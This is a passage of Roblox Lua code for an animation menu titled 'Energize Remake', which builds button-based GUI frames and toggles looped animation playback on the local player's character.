Dab.TextSize = 15
BarrelRoll.Name = "BarrelRoll"
BarrelRoll.Parent = ScrollingFrame
BarrelRoll.BackgroundColor3 = Color3.new(0, 0, 0)
BarrelRoll.BackgroundTransparency = 0.30000001192093
BarrelRoll.Position = UDim2.new(0.492957741, 0, 0.563990533, 0)
BarrelRoll.Size = UDim2.new(0, 90, 0, 30)
BarrelRoll.Font = Enum.Font.SourceSansSemibold
BarrelRoll.Text = "Barrel Roll"
BarrelRoll.TextColor3 = Color3.new(1, 1, 1)
BarrelRoll.TextSize = 15
Insane.Name = "Insane"
Insane.Parent = ScrollingFrame
Insane.BackgroundColor3 = Color3.new(0, 0, 0)
Insane.BackgroundTransparency = 0.30000001192093
Insane.Position = UDim2.new(0.267605633, 0, 0.563990533, 0)
Insane.Size = UDim2.new(0, 90, 0, 30)
Insane.Font = Enum.Font.SourceSansSemibold
Insane.Text = "Insane"
Insane.TextColor3 = Color3.new(1, 1, 1)
Insane.TextSize = 15
SwordSlam.Name = "SwordSlam"
SwordSlam.Parent = ScrollingFrame
SwordSlam.BackgroundColor3 = Color3.new(0, 0, 0)
SwordSlam.BackgroundTransparency = 0.30000001192093
SwordSlam.Position = UDim2.new(0.713614941, 0, 0.563990533, 0)
SwordSlam.Size = UDim2.new(0, 90, 0, 30)
SwordSlam.Font = Enum.Font.SourceSansSemibold
SwordSlam.Text = "Sword Slam"
SwordSlam.TextColor3 = Color3.new(1, 1, 1)
SwordSlam.TextSize = 15
MovingDance.Name = "MovingDance"
MovingDance.Parent = ScrollingFrame
MovingDance.BackgroundColor3 = Color3.new(0, 0, 0)
MovingDance.BackgroundTransparency = 0.30000001192093
MovingDance.Position = UDim2.new(0.0469483584, 0, 0.563990533, 0)
MovingDance.Size = UDim2.new(0, 90, 0, 30)
MovingDance.Font = Enum.Font.SourceSansSemibold
MovingDance.Text = "Moving Dance"
MovingDance.TextColor3 = Color3.new(1, 1, 1)
MovingDance.TextSize = 15
ArmTurbine.Name = "ArmTurbine"
ArmTurbine.Parent = ScrollingFrame
ArmTurbine.BackgroundColor3 = Color3.new(0, 0, 0)
ArmTurbine.BackgroundTransparency = 0.30000001192093
ArmTurbine.Position = UDim2.new(0.267605633, 0, 0.671325028, 0)
ArmTurbine.Size = UDim2.new(0, 90, 0, 30)
ArmTurbine.Font = Enum.Font.SourceSansSemibold
ArmTurbine.Text = "Arm Turbine"
ArmTurbine.TextColor3 = Color3.new(1, 1, 1)
ArmTurbine.TextSize = 15
SuperPunch.Name = "SuperPunch"
SuperPunch.Parent = ScrollingFrame
SuperPunch.BackgroundColor3 = Color3.new(0, 0, 0)
SuperPunch.BackgroundTransparency = 0.30000001192093
SuperPunch.Position = UDim2.new(0.0469483584, 0, 0.671325028, 0)
SuperPunch.Size = UDim2.new(0, 90, 0, 30)
SuperPunch.Font = Enum.Font.SourceSansSemibold
SuperPunch.Text = "Super Punch"
SuperPunch.TextColor3 = Color3.new(1, 1, 1)
SuperPunch.TextSize = 15
Scared.Name = "Scared"
Scared.Parent = ScrollingFrame
Scared.BackgroundColor3 = Color3.new(0, 0, 0)
Scared.BackgroundTransparency = 0.30000001192093
Scared.Position = UDim2.new(0.267605633, 0, 0.778659523, 0)
Scared.Size = UDim2.new(0, 90, 0, 30)
Scared.Font = Enum.Font.SourceSansSemibold
Scared.Text = "Scared"
Scared.TextColor3 = Color3.new(1, 1, 1)
Scared.TextSize = 15
LoopSlam.Name = "LoopSlam"
LoopSlam.Parent = ScrollingFrame
LoopSlam.BackgroundColor3 = Color3.new(0, 0, 0)
LoopSlam.BackgroundTransparency = 0.30000001192093
LoopSlam.Position = UDim2.new(0.713614941, 0, 0.671325028, 0)
LoopSlam.Size = UDim2.new(0, 90, 0, 30)
LoopSlam.Font = Enum.Font.SourceSansSemibold
LoopSlam.Text = "Loop Slam"
LoopSlam.TextColor3 = Color3.new(1, 1, 1)
LoopSlam.TextSize = 15
HeroJump.Name = "HeroJump"
HeroJump.Parent = ScrollingFrame
HeroJump.BackgroundColor3 = Color3.new(0, 0, 0)
HeroJump.BackgroundTransparency = 0.30000001192093
HeroJump.Position = UDim2.new(0.0469483584, 0, 0.778659523, 0)
HeroJump.Size = UDim2.new(0, 90, 0, 30)
HeroJump.Font = Enum.Font.SourceSansSemibold
HeroJump.Text = "Hero Jump"
HeroJump.TextColor3 = Color3.new(1, 1, 1)
HeroJump.TextSize = 15
SpinDance2.Name = "SpinDance2"
SpinDance2.Parent = ScrollingFrame
SpinDance2.BackgroundColor3 = Color3.new(0, 0, 0)
SpinDance2.BackgroundTransparency = 0.30000001192093
SpinDance2.Position = UDim2.new(0.713614941, 0, 0.778659523, 0)
SpinDance2.Size = UDim2.new(0, 90, 0, 30)
SpinDance2.Font = Enum.Font.SourceSansSemibold
SpinDance2.Text = "Spin Dance 2"
SpinDance2.TextColor3 = Color3.new(1, 1, 1)
SpinDance2.TextSize = 15
SwordSlice.Name = "SwordSlice"
SwordSlice.Parent = ScrollingFrame
SwordSlice.BackgroundColor3 = Color3.new(0, 0, 0)
SwordSlice.BackgroundTransparency = 0.30000001192093
SwordSlice.Position = UDim2.new(0.492957741, 0, 0.671325028, 0)
SwordSlice.Size = UDim2.new(0, 90, 0, 30)
SwordSlice.Font = Enum.Font.SourceSansSemibold
SwordSlice.Text = "Sword Slice"
SwordSlice.TextColor3 = Color3.new(1, 1, 1)
SwordSlice.TextSize = 15
FloatingHead.Name = "FloatingHead"
FloatingHead.Parent = ScrollingFrame
FloatingHead.BackgroundColor3 = Color3.new(0, 0, 0)
FloatingHead.BackgroundTransparency = 0.30000001192093
FloatingHead.Position = UDim2.new(0.492957741, 0, 0.778659523, 0)
FloatingHead.Size = UDim2.new(0, 90, 0, 30)
FloatingHead.Font = Enum.Font.SourceSansSemibold
FloatingHead.Text = "Floating Head"
FloatingHead.TextColor3 = Color3.new(1, 1, 1)
FloatingHead.TextSize = 15
InsaneArms.Name = "InsaneArms"
InsaneArms.Parent = ScrollingFrame
InsaneArms.BackgroundColor3 = Color3.new(0, 0, 0)
InsaneArms.BackgroundTransparency = 0.30000001192093
InsaneArms.Position = UDim2.new(0.0469483584, 0, 0.888975561, 0)
InsaneArms.Size = UDim2.new(0, 90, 0, 30)
InsaneArms.Font = Enum.Font.SourceSansSemibold
InsaneArms.Text = "Insane Arms"
InsaneArms.TextColor3 = Color3.new(1, 1, 1)
InsaneArms.TextSize = 15
SuperFaint.Name = "SuperFaint"
SuperFaint.Parent = ScrollingFrame
SuperFaint.BackgroundColor3 = Color3.new(0, 0, 0)
SuperFaint.BackgroundTransparency = 0.30000001192093
SuperFaint.Position = UDim2.new(0.267605633, 0, 0.888975561, 0)
SuperFaint.Size = UDim2.new(0, 90, 0, 30)
SuperFaint.Font = Enum.Font.SourceSansSemibold
SuperFaint.Text = "Super Faint"
SuperFaint.TextColor3 = Color3.new(1, 1, 1)
SuperFaint.TextSize = 15
FloatSit.Name = "FloatSit"
FloatSit.Parent = ScrollingFrame
FloatSit.BackgroundColor3 = Color3.new(0, 0, 0)
FloatSit.BackgroundTransparency = 0.30000001192093
FloatSit.Position = UDim2.new(0.492957741, 0, 0.888975561, 0)
FloatSit.Size = UDim2.new(0, 90, 0, 30)
FloatSit.Font = Enum.Font.SourceSansSemibold
FloatSit.Text = "FloatSit"
FloatSit.TextColor3 = Color3.new(1, 1, 1)
FloatSit.TextSize = 15
BowDown.Name = "BowDown"
BowDown.Parent = ScrollingFrame
BowDown.BackgroundColor3 = Color3.new(0, 0, 0)
BowDown.BackgroundTransparency = 0.30000001192093
BowDown.Position = UDim2.new(0.713614941, 0, 0.888975561, 0)
BowDown.Size = UDim2.new(0, 90, 0, 30)
BowDown.Font = Enum.Font.SourceSansSemibold
BowDown.Text = "Bow Down"
BowDown.TextColor3 = Color3.new(1, 1, 1)
BowDown.TextSize = 15
ScrollingFrameR15.Name = "ScrollingFrameR15"
ScrollingFrameR15.Parent = MainFrame
ScrollingFrameR15.BackgroundColor3 = Color3.new(0, 0, 0)
ScrollingFrameR15.BackgroundTransparency = 0.60000002384186
ScrollingFrameR15.Position = UDim2.new(-0.00150352798, 0, 0.0951187983, 0)
ScrollingFrameR15.Size = UDim2.new(0, 427, 0, 207)
ScrollingFrameR15.CanvasSize = UDim2.new(0, 0, 0.430000007, 0)
ScrollingFrameR15.ScrollBarThickness = 10
FloatSlash.Name = "FloatSlash"
FloatSlash.Parent = ScrollingFrameR15
FloatSlash.BackgroundColor3 = Color3.new(0, 0, 0)
FloatSlash.BackgroundTransparency = 0.30000001192093
FloatSlash.Position = UDim2.new(0.0563380271, 0, 0.0405257866, 0)
FloatSlash.Size = UDim2.new(0, 90, 0, 30)
FloatSlash.Font = Enum.Font.SourceSansSemibold
FloatSlash.Text = "Float Slash"
FloatSlash.TextColor3 = Color3.new(1, 1, 1)
FloatSlash.TextSize = 15
ArmsOut.Name = "ArmsOut"
ArmsOut.Parent = ScrollingFrameR15
ArmsOut.BackgroundColor3 = Color3.new(0, 0, 0)
ArmsOut.BackgroundTransparency = 0.30000001192093
ArmsOut.Position = UDim2.new(0.28169015, 0, 0.0405257866, 0)
ArmsOut.Size = UDim2.new(0, 90, 0, 30)
ArmsOut.Font = Enum.Font.SourceSansSemibold
ArmsOut.Text = " Arms Out"
ArmsOut.TextColor3 = Color3.new(1, 1, 1)
ArmsOut.TextSize = 15
DownSlash.Name = "DownSlash"
DownSlash.Parent = ScrollingFrameR15
DownSlash.BackgroundColor3 = Color3.new(0, 0, 0)
DownSlash.BackgroundTransparency = 0.30000001192093
DownSlash.Position = UDim2.new(0.507042229, 0, 0.0405257866, 0)
DownSlash.Size = UDim2.new(0, 90, 0, 30)
DownSlash.Font = Enum.Font.SourceSansSemibold
DownSlash.Text = "Down Slash"
DownSlash.TextColor3 = Color3.new(1, 1, 1)
DownSlash.TextSize = 15
R15Spinner.Name = "R15Spinner"
R15Spinner.Parent = ScrollingFrameR15
R15Spinner.BackgroundColor3 = Color3.new(0, 0, 0)
R15Spinner.BackgroundTransparency = 0.30000001192093
R15Spinner.Position = UDim2.new(0.732394338, 0, 0.0405257866, 0)
R15Spinner.Size = UDim2.new(0, 90, 0, 30)
R15Spinner.Font = Enum.Font.SourceSansSemibold
R15Spinner.Text = "Spinner"
R15Spinner.TextColor3 = Color3.new(1, 1, 1)
R15Spinner.TextSize = 15
WeirdZombie.Name = "WeirdZombie"
WeirdZombie.Parent = ScrollingFrameR15
WeirdZombie.BackgroundColor3 = Color3.new(0, 0, 0)
WeirdZombie.BackgroundTransparency = 0.30000001192093
WeirdZombie.Position = UDim2.new(0.28169015, 0, 0.213602722, 0)
WeirdZombie.Size = UDim2.new(0, 90, 0, 30)
WeirdZombie.Font = Enum.Font.SourceSansSemibold
WeirdZombie.Text = "Weird Zombie"
WeirdZombie.TextColor3 = Color3.new(1, 1, 1)
WeirdZombie.TextSize = 15
CrazySlash.Name = "CrazySlash"
CrazySlash.Parent = ScrollingFrameR15
CrazySlash.BackgroundColor3 = Color3.new(0, 0, 0)
CrazySlash.BackgroundTransparency = 0.30000001192093
CrazySlash.Position = UDim2.new(0.0563380271, 0, 0.213602722, 0)
CrazySlash.Size = UDim2.new(0, 90, 0, 30)
CrazySlash.Font = Enum.Font.SourceSansSemibold
CrazySlash.Text = "Crazy Slash"
CrazySlash.TextColor3 = Color3.new(1, 1, 1)
CrazySlash.TextSize = 15
Pull.Name = "Pull"
Pull.Parent = ScrollingFrameR15
Pull.BackgroundColor3 = Color3.new(0, 0, 0)
Pull.BackgroundTransparency = 0.30000001192093
Pull.Position = UDim2.new(0.507042229, 0, 0.213602722, 0)
Pull.Size = UDim2.new(0, 90, 0, 30)
Pull.Font = Enum.Font.SourceSansSemibold
Pull.Text = "Pull"
Pull.TextColor3 = Color3.new(1, 1, 1)
Pull.TextSize = 15
Open.Name = "Open"
Open.Parent = ScrollingFrameR15
Open.BackgroundColor3 = Color3.new(0, 0, 0)
Open.BackgroundTransparency = 0.30000001192093
Open.Position = UDim2.new(0.732394338, 0, 0.213602722, 0)
Open.Size = UDim2.new(0, 90, 0, 30)
Open.Font = Enum.Font.SourceSansSemibold
Open.Text = "Open"
Open.TextColor3 = Color3.new(1, 1, 1)
Open.TextSize = 15
CircleArm.Name = "CircleArm"
CircleArm.Parent = ScrollingFrameR15
CircleArm.BackgroundColor3 = Color3.new(0, 0, 0)
CircleArm.BackgroundTransparency = 0.30000001192093
CircleArm.Position = UDim2.new(0.0563380271, 0, 0.386679649, 0)
CircleArm.Size = UDim2.new(0, 90, 0, 30)
CircleArm.Font = Enum.Font.SourceSansSemibold
CircleArm.Text = "Circle Arm"
CircleArm.TextColor3 = Color3.new(1, 1, 1)
CircleArm.TextSize = 15
Bend.Name = "Bend"
Bend.Parent = ScrollingFrameR15
Bend.BackgroundColor3 = Color3.new(0, 0, 0)
Bend.BackgroundTransparency = 0.30000001192093
Bend.Position = UDim2.new(0.28169015, 0, 0.386679649, 0)
Bend.Size = UDim2.new(0, 90, 0, 30)
Bend.Font = Enum.Font.SourceSansSemibold
Bend.Text = "Bend"
Bend.TextColor3 = Color3.new(1, 1, 1)
Bend.TextSize = 15
RotateSlash.Name = "RotateSlash"
RotateSlash.Parent = ScrollingFrameR15
RotateSlash.BackgroundColor3 = Color3.new(0, 0, 0)
RotateSlash.BackgroundTransparency = 0.30000001192093
RotateSlash.Position = UDim2.new(0.507042229, 0, 0.386679649, 0)
RotateSlash.Size = UDim2.new(0, 90, 0, 30)
RotateSlash.Font = Enum.Font.SourceSansSemibold
RotateSlash.Text = "Rotate Slash"
RotateSlash.TextColor3 = Color3.new(1, 1, 1)
RotateSlash.TextSize = 15
FlingArms.Name = "FlingArms"
FlingArms.Parent = ScrollingFrameR15
FlingArms.BackgroundColor3 = Color3.new(0, 0, 0)
FlingArms.BackgroundTransparency = 0.30000001192093
FlingArms.Position = UDim2.new(0.732394338, 0, 0.386679649, 0)
FlingArms.Size = UDim2.new(0, 90, 0, 30)
FlingArms.Font = Enum.Font.SourceSansSemibold
FlingArms.Text = "Fling Arms"
FlingArms.TextColor3 = Color3.new(1, 1, 1)
FlingArms.TextSize = 15
SideFrame.Name = "SideFrame"
SideFrame.Active = true
SideFrame.Draggable = true
SideFrame.Visible = false
SideFrame.Parent = Energize
SideFrame.BackgroundColor3 = Color3.new(0.0823529, 0.0823529, 0.0823529)
SideFrame.BackgroundTransparency = 0.15000000596046
SideFrame.Position = UDim2.new(0.502199769, 0, 0.55104512, 0)
SideFrame.Size = UDim2.new(0, 426, 0, 25)
OpenGUI.Name = "OpenGUI"
OpenGUI.Parent = SideFrame
OpenGUI.BackgroundColor3 = Color3.new(0, 0, 0)
OpenGUI.BackgroundTransparency = 0.15000000596046
OpenGUI.BorderSizePixel = 0
OpenGUI.Position = UDim2.new(0.967136145, 0, 0, 0)
OpenGUI.Size = UDim2.new(0, 15, 0, 15)
OpenGUI.Font = Enum.Font.SourceSansSemibold
OpenGUI.Text = "X"
OpenGUI.TextColor3 = Color3.new(1, 1, 1)
OpenGUI.TextSize = 14
SideFrameTitle.Name = "SideFrameTitle"
SideFrameTitle.Parent = SideFrame
SideFrameTitle.BackgroundColor3 = Color3.new(1, 1, 1)
SideFrameTitle.BackgroundTransparency = 1
SideFrameTitle.Position = UDim2.new(0.364739805, 0, 0, 0)
SideFrameTitle.Size = UDim2.new(0, 115, 0, 25)
SideFrameTitle.Font = Enum.Font.SourceSansSemibold
SideFrameTitle.Text = "Energize Remake"
SideFrameTitle.TextColor3 = Color3.new(1, 1, 1)
SideFrameTitle.TextSize = 17
-- Scripts:
col = Color3.fromRGB(0, 0, 0)
loc = Color3.fromRGB(255, 117, 19)
rcol = Color3.fromRGB(0, 0, 0)
rloc = Color3.fromRGB(255, 117, 19)
CloseGUI.MouseButton1Click:connect(function()
MainFrame.Visible = false
SideFrame.Visible = true
SideFrame.Position = MainFrame.Position
end)
OpenGUI.MouseButton1Click:connect(function()
MainFrame.Visible = true
SideFrame.Visible = false
MainFrame.Position = SideFrame.Position
end)
if (game:GetService"Players".LocalPlayer.Character:WaitForChild("Humanoid").RigType == Enum.HumanoidRigType.R15) then
ScrollingFrame.Visible = false
ScrollingFrameR15.Visible = true
CheckR.Text = "Showing R15 Animations"
else
ScrollingFrame.Visible = true
ScrollingFrameR15.Visible = false
CheckR.Text = "Showing R6 Animations"
end
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://35154961"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local HeadThrowACTIVE = false
HeadThrow.MouseButton1Click:connect(function()
HeadThrowACTIVE = not HeadThrowACTIVE
if HeadThrowACTIVE then
HeadThrow.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if HeadThrowACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
HeadThrow.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://121572214"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FloatingHeadACTIVE = false
FloatingHead.MouseButton1Click:connect(function()
FloatingHeadACTIVE = not FloatingHeadACTIVE
if FloatingHeadACTIVE then
track:Play(.1, 1, 1)
FloatingHead.BackgroundColor3 = loc
else
track:Stop()
FloatingHead.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://182724289"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local CrouchACTIVE = false
Crouch.MouseButton1Click:connect(function()
CrouchACTIVE = not CrouchACTIVE
if CrouchACTIVE then
track:Play(.1, 1, 1)
Crouch.BackgroundColor3 = loc
else
track:Stop()
Crouch.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://282574440"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FloorCrawlACTIVE = false
FloorCrawl.MouseButton1Click:connect(function()
FloorCrawlACTIVE = not FloorCrawlACTIVE
if FloorCrawlACTIVE then
track:Play(.1, 1, 1)
FloorCrawl.BackgroundColor3 = loc
else
track:Stop()
FloorCrawl.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://204328711"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local DinoWalkACTIVE = false
DinoWalk.MouseButton1Click:connect(function()
DinoWalkACTIVE = not DinoWalkACTIVE
if DinoWalkACTIVE then
track:Play(.1, 1, 1)
DinoWalk.BackgroundColor3 = loc
else
track:Stop()
DinoWalk.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://429681631"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local JumpingJacksACTIVE = false
JumpingJacks.MouseButton1Click:connect(function()
JumpingJacksACTIVE = not JumpingJacksACTIVE
if JumpingJacksACTIVE then
track:Play(.1, 1, 1)
JumpingJacks.BackgroundColor3 = loc
else
track:Stop()
JumpingJacks.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://35154961"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local LoopHeadACTIVE = false
LoopHead.MouseButton1Click:connect(function()
LoopHeadACTIVE = not LoopHeadACTIVE
if LoopHeadACTIVE then
LoopHead.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if LoopHeadACTIVE then
track:Play(.5, 1, 1e6)
end
end
end
else
track:Stop()
LoopHead.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://184574340"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local HeroJumpACTIVE = false
HeroJump.MouseButton1Click:connect(function()
HeroJumpACTIVE = not HeroJumpACTIVE
if HeroJumpACTIVE then
HeroJump.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if HeroJumpACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
HeroJump.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://181526230"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FaintACTIVE = false
Faint.MouseButton1Click:connect(function()
FaintACTIVE = not FaintACTIVE
if FaintACTIVE then
track:Play(.1, 1, 1)
Faint.BackgroundColor3 = loc
else
track:Stop()
Faint.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://181525546"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FloorFaintACTIVE = false
FloorFaint.MouseButton1Click:connect(function()
FloorFaintACTIVE = not FloorFaintACTIVE
if FloorFaintACTIVE then
FloorFaint.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if FloorFaintACTIVE then
track:Play(.1, 1, 2)
end
end
end
else
track:Stop()
FloorFaint.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://181525546"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local SuperFaintACTIVE = false
SuperFaint.MouseButton1Click:connect(function()
SuperFaintACTIVE = not SuperFaintACTIVE
if SuperFaintACTIVE then
SuperFaint.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if SuperFaintACTIVE then
track:Play(.1, 0.5, 40)
end
end
end
else
track:Stop()
SuperFaint.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://313762630"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local LevitateACTIVE = false
Levitate.MouseButton1Click:connect(function()
LevitateACTIVE = not LevitateACTIVE
if LevitateACTIVE then
track:Play(.1, 1, 1)
Levitate.BackgroundColor3 = loc
else
track:Stop()
Levitate.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://183412246"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local DabACTIVE = false
Dab.MouseButton1Click:connect(function()
DabACTIVE = not DabACTIVE
if DabACTIVE then
Dab.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if DabACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
Dab.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://188632011"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local SpinACTIVE = false
Spinner.MouseButton1Click:connect(function()
SpinACTIVE = not SpinACTIVE
if SpinACTIVE then
Spinner.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if SpinACTIVE then
track:Play(.1, 1, 2)
end
end
end
else
track:Stop()
Spinner.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://179224234"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FloatSitACTIVE = false
FloatSit.MouseButton1Click:connect(function()
FloatSitACTIVE = not FloatSitACTIVE
if FloatSitACTIVE then
track:Play(.1, 1, 1)
FloatSit.BackgroundColor3 = loc
else
track:Stop()
FloatSit.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://429703734"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local MovingDanceACTIVE = false
MovingDance.MouseButton1Click:connect(function()
MovingDanceACTIVE = not MovingDanceACTIVE
if MovingDanceACTIVE then
MovingDance.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if MovingDanceACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
MovingDance.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://215384594"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local WeirdMoveACTIVE = false
WeirdMove.MouseButton1Click:connect(function()
WeirdMoveACTIVE = not WeirdMoveACTIVE
if WeirdMoveACTIVE then
track:Play(.1, 1, 1)
WeirdMove.BackgroundColor3 = loc
else
track:Stop()
WeirdMove.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://215384594"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local CloneIllusionACTIVE = false
CloneIllusion.MouseButton1Click:connect(function()
CloneIllusionACTIVE = not CloneIllusionACTIVE
if CloneIllusionACTIVE then
track:Play(.5, 1, 1e7)
CloneIllusion.BackgroundColor3 = loc
else
track:Stop()
CloneIllusion.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://313762630"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local GlitchLevitateACTIVE = false
GlitchLevitate.MouseButton1Click:connect(function()
GlitchLevitateACTIVE = not GlitchLevitateACTIVE
if GlitchLevitateACTIVE then
track:Play(.5, 1, 1e7)
GlitchLevitate.BackgroundColor3 = loc
else
track:Stop()
GlitchLevitate.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://429730430"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local SpinDanceACTIVE = false
SpinDance.MouseButton1Click:connect(function()
SpinDanceACTIVE = not SpinDanceACTIVE
if SpinDanceACTIVE then
SpinDance.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if SpinDanceACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
SpinDance.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://45834924"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local MoonDanceACTIVE = false
MoonDance.MouseButton1Click:connect(function()
MoonDanceACTIVE = not MoonDanceACTIVE
if MoonDanceACTIVE then
MoonDance.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if MoonDanceACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
MoonDance.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://204062532"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FullPunchACTIVE = false
FullPunch.MouseButton1Click:connect(function()
FullPunchACTIVE = not FullPunchACTIVE
if FullPunchACTIVE then
FullPunch.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if FullPunchACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
FullPunch.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://186934910"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local SpinDance2ACTIVE = false
SpinDance2.MouseButton1Click:connect(function()
SpinDance2ACTIVE = not SpinDance2ACTIVE
if SpinDance2ACTIVE then
SpinDance2.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if SpinDance2ACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
SpinDance2.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://204292303"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local BowDownACTIVE = false
BowDown.MouseButton1Click:connect(function()
BowDownACTIVE = not BowDownACTIVE
if BowDownACTIVE then
BowDown.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if BowDownACTIVE then
track:Play(.1, 1, 3)
end
end
end
else
track:Stop()
BowDown.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://204295235"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local SwordSlamACTIVE = false
SwordSlam.MouseButton1Click:connect(function()
SwordSlamACTIVE = not SwordSlamACTIVE
if SwordSlamACTIVE then
SwordSlam.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if SwordSlamACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
SwordSlam.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://204295235"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local LoopSlamACTIVE = false
LoopSlam.MouseButton1Click:connect(function()
LoopSlamACTIVE = not LoopSlamACTIVE
if LoopSlamACTIVE then
LoopSlam.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if LoopSlamACTIVE then
track:Play(.1, 1, 1e4)
end
end
end
else
track:Stop()
LoopSlam.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://184574340"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local MegaInsaneACTIVE = false
MegaInsane.MouseButton1Click:connect(function()
MegaInsaneACTIVE = not MegaInsaneACTIVE
if MegaInsaneACTIVE then
MegaInsane.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if MegaInsaneACTIVE then
track:Play(.1, 0.5, 40)
end
end
end
else
track:Stop()
MegaInsane.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://126753849"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local SuperPunchACTIVE = false
SuperPunch.MouseButton1Click:connect(function()
SuperPunchACTIVE = not SuperPunchACTIVE
if SuperPunchACTIVE then
SuperPunch.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if SuperPunchACTIVE then
track:Play(.1, 1, 3)
end
end
end
else
